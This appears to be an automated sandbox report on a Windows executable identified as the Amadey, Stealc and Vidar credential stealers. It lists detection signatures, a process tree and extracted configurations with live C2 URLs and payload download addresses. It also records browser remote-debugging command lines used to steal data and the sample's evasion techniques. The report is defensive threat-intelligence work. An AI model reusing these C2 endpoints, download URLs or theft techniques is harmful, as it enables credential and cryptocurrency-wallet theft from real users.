Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570294
MD5:	d4476d9de4faf2084f474044060cccc5
SHA1:	6e82d3e8e4dece4dbe594f614ec5e7405988f9cd
SHA256:	0559a995542838ab3cccaf02743f98c1dae010f71f46b226815ccdfbb37d20db
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6768 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D4476D9DE4FAF2084F474044060CCCC5)

chrome.exe (PID: 4900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6096 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2720,i,5043221228384178356,12406592722726434342,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8136 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2140,i,933805822226142659,7319372801501874733,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 1016 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KJJJKFIIIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KJJJKFIIIJ.exe (PID: 4884 cmdline: "C:\Users\user\Documents\KJJJKFIIIJ.exe" MD5: 1E56CDAE7CE19C602053F77FC496F4F8)

skotes.exe (PID: 8088 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1E56CDAE7CE19C602053F77FC496F4F8)

msedge.exe (PID: 8164 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 1916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2184,i,14553019711621385592,11988501647328471327,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8096 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1E56CDAE7CE19C602053F77FC496F4F8)

skotes.exe (PID: 1484 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1E56CDAE7CE19C602053F77FC496F4F8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "drum"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000012.00000002.2782020119.0000000000DF1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2731631245.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2825585502.0000000000601000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.2822492083.0000000000601000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.3389172287.0000000000601000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6768	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6768	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6768	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
18.2.KJJJKFIIIJ.exe.df0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.skotes.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.skotes.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.fd0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.file.exe.fd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6768, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 4900, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:15.269477+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:15.147306+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:15.595234+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:17.028171+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:15.717788+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:14.700552+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:47:07.636469+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50016	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:03.755752+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50024	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:47:12.064593+0100	2803305	3	Unknown Traffic	192.168.2.6	50028	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T18:45:17.552561+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-12-06T18:45:44.509450+0100	2803304	3	Unknown Traffic	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:46.401879+0100	2803304	3	Unknown Traffic	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:47.767561+0100	2803304	3	Unknown Traffic	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:48.867013+0100	2803304	3	Unknown Traffic	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:52.396398+0100	2803304	3	Unknown Traffic	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:53.469908+0100	2803304	3	Unknown Traffic	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:46:00.463990+0100	2803304	3	Unknown Traffic	192.168.2.6	49857	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/6453571829/BY5BeYh.exeXYZ0123456789	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6453571829/BY5BeYh.exe#	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6453571829/BY5BeYh.exe9B	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpB9	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php~fj	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllVJ	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6453571829/BY5BeYh.exeKB	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6453571829/BY5BeYh.exe_b	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6453571829/BY5BeYh.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php78	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php6055ea67f8c3dfc616e458778bb3Extension	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpF7u	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllDJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/#Z	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6453571829/BY5BeYh.exe/B	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll#;WE4u	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllzJ	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000012.00000002.2782020119.0000000000DF1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0.2.file.exe.fd0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "drum"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1012713001\BY5BeYh.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\BY5BeYh[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 07
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 01
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 25
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: drum
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: InternetOpenUrlA
